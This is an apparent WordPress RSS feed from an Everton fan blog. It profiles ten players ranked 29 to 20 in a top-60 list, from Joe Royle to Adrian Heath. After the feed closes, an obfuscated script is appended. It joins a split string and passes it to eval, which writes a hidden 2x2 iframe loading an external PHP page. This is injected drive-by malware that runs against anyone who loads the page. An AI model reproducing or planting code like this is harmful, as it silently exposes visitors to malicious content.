<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dixies 60 &#187; Nos 39-20</title>
	<atom:link href="http://www.dixies60.com/category/top-60-everton-players/nos-39-20/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dixies60.com</link>
	<description>ZERO TO SIXTY IN ONE SEASON</description>
	<lastBuildDate>Thu, 22 Jul 2010 13:32:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Top 60 Everton Players:20.Joe Royle</title>
		<link>http://www.dixies60.com/2010/03/12/top-60-everton-players20-joe-royle/</link>
		<comments>http://www.dixies60.com/2010/03/12/top-60-everton-players20-joe-royle/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 09:21:44 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[20.Joe Royle]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[goodison]]></category>
		<category><![CDATA[joe royle]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1082</guid>
		<description><![CDATA[ 20. Joe Royle (1965-1975)  275 appearances, 119 goals  Merseyside-born and home-grown, Joe made his debut aged 16 versus Blackpool. A precocious talent who was a superb header of the ball and an imposing physical presence, Royle scored 23 goals in the 1969/70 championship season at the tender age of just 21. Under Catterick’s inventive management, [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F12%2Ftop-60-everton-players20-joe-royle%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F12%2Ftop-60-everton-players20-joe-royle%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p> <strong>20. Joe Royle (1965-1975) </strong></p>
<p> <strong>275 appearances, 119 goals </strong></p>
<p> Merseyside-born and home-grown, Joe made his debut aged 16 versus Blackpool. A precocious talent who was a superb header of the ball and an imposing physical presence, Royle scored 23 goals in the 1969/70 championship season at the tender age of just 21. Under Catterick’s inventive management, Joe frequently operated as a lone striker in front of a five-man-midfield, long before the formation became commonplace. His penalty-taking technique was literally stunning….hit the ball as hard as you can!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/12/top-60-everton-players20-joe-royle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#21.Kevin Sheedy</title>
		<link>http://www.dixies60.com/2010/03/11/top-60-everton-players21-kevin-sheedy/</link>
		<comments>http://www.dixies60.com/2010/03/11/top-60-everton-players21-kevin-sheedy/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 09:17:28 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[21.Kevin Sheedy]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[Anfield]]></category>
		<category><![CDATA[cultured left foot]]></category>
		<category><![CDATA[Goodison Park]]></category>
		<category><![CDATA[howard kendall]]></category>
		<category><![CDATA[kevin sheedy]]></category>
		<category><![CDATA[Liverpool]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1079</guid>
		<description><![CDATA[  21. Kevin Sheedy (1982-92)  349 appearances, 93 goals  Sheedy&#8217;s talent lay fallow at Liverpool, until Kendall took him to Goodison for £100,000 &#8211; it speaks volumes that Bob Paisley was both against the deal and unhappy with the tribunal-set price. Blessed with a left foot that was responsible for countless perfect passes &#8211; aiding [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F11%2Ftop-60-everton-players21-kevin-sheedy%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F11%2Ftop-60-everton-players21-kevin-sheedy%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>  <strong>21. Kevin Sheedy (1982-92) </strong></p>
<p> <strong>349 appearances, 93 goals </strong></p>
<p> Sheedy&#8217;s talent lay fallow at Liverpool, until Kendall took him to Goodison for £100,000 &#8211; it speaks volumes that Bob Paisley was both against the deal and unhappy with the tribunal-set price. Blessed with a left foot that was responsible for countless perfect passes &#8211; aiding and abetting Gary Lineker during the striker&#8217;s smash-and-grab tenure at Goodison &#8211; and wonderful free kicks, he was a vital part of Everton&#8217;s heady mid-eighties success. Look beyond his left foot &#8211; I know it’s hard &#8211; and you see an excellent 97 goals in 368 appearances. Another genius signing by Kendall, he gave the <a href="http://www.youtube.com/watch?v=zlR3Cjc984s&amp;feature=PlayList&amp;p=DCEA2E6BA372499A&amp;playnext=1&amp;index=72">two-fingered salute</a> to the Kop after scoring, pushing him higher up this list.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/11/top-60-everton-players21-kevin-sheedy/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#22.Gordon West</title>
		<link>http://www.dixies60.com/2010/03/10/top-60-everton-players22-gordon-west/</link>
		<comments>http://www.dixies60.com/2010/03/10/top-60-everton-players22-gordon-west/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 09:12:26 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[22.Gordon West]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[goalkeeper]]></category>
		<category><![CDATA[gordon west]]></category>
		<category><![CDATA[handbag]]></category>
		<category><![CDATA[harry catterick]]></category>
		<category><![CDATA[world cup]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1075</guid>
		<description><![CDATA[  22. Gordon West (1962-73)  399 appearances  Harry Catterick’s first signing; £27,000 from Blackpool in March 1962, for what was then a record fee for a ’keeper, turned out to be one of his most astute. West was an agile goalie whose excellent handling, shot-stopping and judgement of angles made him a virtual ever-present during [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F10%2Ftop-60-everton-players22-gordon-west%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F10%2Ftop-60-everton-players22-gordon-west%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>  <strong>22. Gordon West (1962-73) </strong></p>
<p> <strong>399 appearances </strong></p>
<p> Harry Catterick’s first signing; £27,000 from Blackpool in March 1962, for what was then a record fee for a ’keeper, turned out to be one of his most astute. West was an agile goalie whose excellent handling, shot-stopping and judgement of angles made him a virtual ever-present during two championship winning campaigns. Had he not had the misfortune to be a contemporary of the legendary Gordon Banks, he would certainly have had more than just three England caps. West turned down a chance to join the squad in the World Cup finals in Mexico in 1970 because he wanted to stay at home with his family.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/10/top-60-everton-players22-gordon-west/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#23.Dave Hickson</title>
		<link>http://www.dixies60.com/2010/03/09/top-60-everton-players23-dave-hickson/</link>
		<comments>http://www.dixies60.com/2010/03/09/top-60-everton-players23-dave-hickson/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 09:09:21 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[23.Dave Hickson]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[cannonball kid]]></category>
		<category><![CDATA[dave hickson]]></category>
		<category><![CDATA[Goodison Park]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1069</guid>
		<description><![CDATA[ 23. Dave Hickson (1951-56, 1957-60)  243 appearances, 111 goals  “I would have died for Everton. I would have broken every other bone in my body for any other club, that’s how I look at it, you know. I would have died for this club.”  As Everton’s &#8220;Cannonball kid&#8221;, Dave Hickson hurtled around the field, fighting [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F09%2Ftop-60-everton-players23-dave-hickson%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F09%2Ftop-60-everton-players23-dave-hickson%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p> <strong>23. Dave Hickson (1951-56, 1957-60) </strong></p>
<p> <strong>243 appearances, 111 goals </strong></p>
<p> <em>“I would have died for Everton. I would have broken every other bone in my body for any other club, that’s how I look at it, you know. I would have died for this club.”</em></p>
<p> As Everton’s &#8220;Cannonball kid&#8221;, Dave Hickson hurtled around the field, fighting for his team during a fruitless era and securing his place in the Goodison firmament. Hickson played for all three Merseyside clubs, but it was Everton that he fell in love with. Dixie Dean coached this courageous striker who memorably reopened a stitched up head wound in looking for his second goal against Man United in 1953.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/09/top-60-everton-players23-dave-hickson/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#24.Trevor Steven</title>
		<link>http://www.dixies60.com/2010/03/08/top-60-everton-players24-trevor-steven/</link>
		<comments>http://www.dixies60.com/2010/03/08/top-60-everton-players24-trevor-steven/#comments</comments>
		<pubDate>Mon, 08 Mar 2010 09:04:38 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[24.Trevor Steven]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[goodison p]]></category>
		<category><![CDATA[trevor steven]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1066</guid>
		<description><![CDATA[ 24. Trevor Steven (1983-89)  283 appearances, 58 goals  Trevor Steven provided ammunition for Sharp and Gray in the mid-eighties and scored his share of goals too. Steven was the archetypal winger and the brilliant crossing and sheer cunning of the man known as &#8220;Tricky Trev&#8221; was a wonderful asset in a hugely successful team. Like [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F08%2Ftop-60-everton-players24-trevor-steven%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F08%2Ftop-60-everton-players24-trevor-steven%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p> <strong>24. Trevor Steven (1983-89) </strong></p>
<p> <strong>283 appearances, 58 goals </strong></p>
<p> Trevor Steven provided ammunition for Sharp and Gray in the mid-eighties and scored his share of goals too. Steven was the archetypal winger and the brilliant crossing and sheer cunning of the man known as &#8220;Tricky Trev&#8221; was a wonderful asset in a hugely successful team. Like almost all of the mid eighties Toffee alumni Steven took a while to bed-in but his four medals are steeped in success.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/08/top-60-everton-players24-trevor-steven/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#25.Tommy Eglington</title>
		<link>http://www.dixies60.com/2010/03/07/top-60-everton-players25-tommy-eglington/</link>
		<comments>http://www.dixies60.com/2010/03/07/top-60-everton-players25-tommy-eglington/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 09:01:42 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[25.Tommy Eglington]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[Goodison Park]]></category>
		<category><![CDATA[tommy eglington]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1063</guid>
		<description><![CDATA[ 25. Tommy Eglington (1946-57)  428 appearances, 82 goals  Eglington had the pace that launched a thousand attacks during a career that had a wingspan of more than a decade. He came across from Shamrock Rovers in 1946 in a £10,000 deal that included Peter Farrell, and played on the left wing scoring a healthy number [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F07%2Ftop-60-everton-players25-tommy-eglington%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F07%2Ftop-60-everton-players25-tommy-eglington%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p> <strong>25. Tommy Eglington (1946-57) </strong></p>
<p> <strong>428 appearances, 82 goals </strong></p>
<p> Eglington had the pace that launched a thousand attacks during a career that had a wingspan of more than a decade. He came across from Shamrock Rovers in 1946 in a £10,000 deal that included Peter Farrell, and played on the left wing scoring a healthy number of goals, including a fabulous five against Doncaster Rovers in 1952.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/07/top-60-everton-players25-tommy-eglington/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#26. Fred Pickering</title>
		<link>http://www.dixies60.com/2010/03/06/top-60-everton-players26-fred-pickering/</link>
		<comments>http://www.dixies60.com/2010/03/06/top-60-everton-players26-fred-pickering/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 08:57:27 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[26.Fred Pickering]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[fred pickering]]></category>
		<category><![CDATA[Goodison Park]]></category>
		<category><![CDATA[harry catterick]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1060</guid>
		<description><![CDATA[  26. Fred Pickering (1963-67)  115 appearances, 70 goals Fred was a beefy forward with a sensational goal to game ratio. A Catterick signing from Blackburn Rovers in 1964 for a club record £90,000, he was nicknamed &#8220;Boomer&#8221; because of his massively powerful right foot. Sadly Pickering never really recovered from being dropped from the 1966 [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F06%2Ftop-60-everton-players26-fred-pickering%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F06%2Ftop-60-everton-players26-fred-pickering%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>  <strong>26. Fred Pickering (1963-67) </strong></p>
<p> <strong>115 appearances, 70 goals </strong></p>
<p>Fred was a beefy forward with a sensational goal to game ratio. A Catterick signing from Blackburn Rovers in 1964 for a club record £90,000, he was nicknamed &#8220;Boomer&#8221; because of his massively powerful right foot. Sadly Pickering never really recovered from being dropped from the 1966 FA Cup Final. Despite scoring in every round up to the semi final, Pickering watched his replacement Trebilcock score two at Wembley. A knee injury and a loss of form made for a muted ending to Pickering&#8217;s Everton career &#8211; but at his best he was an astonishing goalscorer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/06/top-60-everton-players26-fred-pickering/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#27. Gary Lineker OBE</title>
		<link>http://www.dixies60.com/2010/03/05/top-60-everton-players27-gary-lineker-obe/</link>
		<comments>http://www.dixies60.com/2010/03/05/top-60-everton-players27-gary-lineker-obe/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 08:53:17 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[27.Gary Lineker]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[bbc]]></category>
		<category><![CDATA[fc barcelona]]></category>
		<category><![CDATA[gary lineker]]></category>
		<category><![CDATA[match of the day]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1057</guid>
		<description><![CDATA[  27. Gary Lineker OBE (1985-86)  52 appearances, 38 goals &#8220;There’s no doubt at all that Everton was the best team I ever played in.&#8221; For months the Gwladys Street looked upon Andy Gray&#8217;s replacement with suspicious eyes, but eventually this goal-glutton won over huge swathes of Goodison. Lineker spent only one season at Everton, but [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F05%2Ftop-60-everton-players27-gary-lineker-obe%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F05%2Ftop-60-everton-players27-gary-lineker-obe%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>  <strong>27. Gary Lineker OBE (1985-86) </strong></p>
<p> <strong>52 appearances, 38 goals </strong></p>
<p><em>&#8220;There’s no doubt at all that Everton was the best team I ever played in.&#8221;</em></p>
<p>For months the Gwladys Street looked upon Andy Gray&#8217;s replacement with suspicious eyes, but eventually this goal-glutton won over huge swathes of Goodison. Lineker spent only one season at Everton, but it was punctuated by <a href="http://www.youtube.com/watch?v=OYHFgJlRqks">goals at every turn</a>. He scored 40 goals in 57 appearances in total for Everton, won the Golden Boot at the 1986 Mexico World Cup &#8211; and then moved to Barcelona. His short Everton career was the perfect season for a striker, and if he had stayed longer he would surely be even higher on this list.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/05/top-60-everton-players27-gary-lineker-obe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#28.Mick Lyons</title>
		<link>http://www.dixies60.com/2010/03/04/top-60-everton-players28-mick-lyons/</link>
		<comments>http://www.dixies60.com/2010/03/04/top-60-everton-players28-mick-lyons/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 08:48:52 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[28.Mick Lyons]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1054</guid>
		<description><![CDATA[ 28. Mick Lyons (1970-82)   434 appearances, 59 goals   Mick Lyons had the misfortune to play during the barren years of gradual decline at Goodison following the 1969/70 title win. Not skilful but powerful and physically imposing, not even his iron will was enough to resist the slide which culminated in the bleak Gordon [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F04%2Ftop-60-everton-players28-mick-lyons%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F04%2Ftop-60-everton-players28-mick-lyons%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p> <strong>28. Mick Lyons (1970-82) </strong> </p>
<p><strong>434 appearances, 59 goals </strong> </p>
<p>Mick Lyons had the misfortune to play during the barren years of gradual decline at Goodison following the 1969/70 title win. Not skilful but powerful and physically imposing, not even his iron will was enough to resist the slide which culminated in the bleak Gordon Lee years. He said he would run through a brick wall for Everton&#8230;&#8230;..and frequently did.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/04/top-60-everton-players28-mick-lyons/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 60 Everton Players:#29. Adrian Heath</title>
		<link>http://www.dixies60.com/2010/03/03/top-60-everton-players29-adrian-heath/</link>
		<comments>http://www.dixies60.com/2010/03/03/top-60-everton-players29-adrian-heath/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 09:39:41 +0000</pubDate>
		<dc:creator>Ed</dc:creator>
				<category><![CDATA[29.Adrian Heath]]></category>
		<category><![CDATA[Everton]]></category>
		<category><![CDATA[Nos 39-20]]></category>
		<category><![CDATA[Top 60 Toffees]]></category>
		<category><![CDATA[adrian heath]]></category>

		<guid isPermaLink="false">http://dixies60.com/?p=1049</guid>
		<description><![CDATA[  29. Adrian Heath (1981-89) 293 appearances, 89 goals A club-record-signing when he joined Everton from Stoke City in January 1982 for £700,000, little Adrian Heath brought guile to Everton&#8217;s midfield. Health was a polyglot player who was comfortable speaking both the language of a forward and a midfielder. Intelligent off-the-ball movement meant that the [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F03%2Ftop-60-everton-players29-adrian-heath%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.dixies60.com%2F2010%2F03%2F03%2Ftop-60-everton-players29-adrian-heath%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>  <strong>29. Adrian Heath (1981-89) </strong></p>
<p><strong>293 appearances, 89 goals </strong></p>
<p>A club-record-signing when he joined Everton from Stoke City in January 1982 for £700,000, little Adrian Heath brought guile to Everton&#8217;s midfield. Health was a polyglot player who was comfortable speaking both the language of a forward and a midfielder. Intelligent off-the-ball movement meant that the pitter-patter of Inchy&#8217;s feet was heard everywhere, most obviously with his vital goal against Oxford in the League Cup, a game that marked a change in fortunes for Howard Kendall and his team.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dixies60.com/2010/03/03/top-60-everton-players29-adrian-heath/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>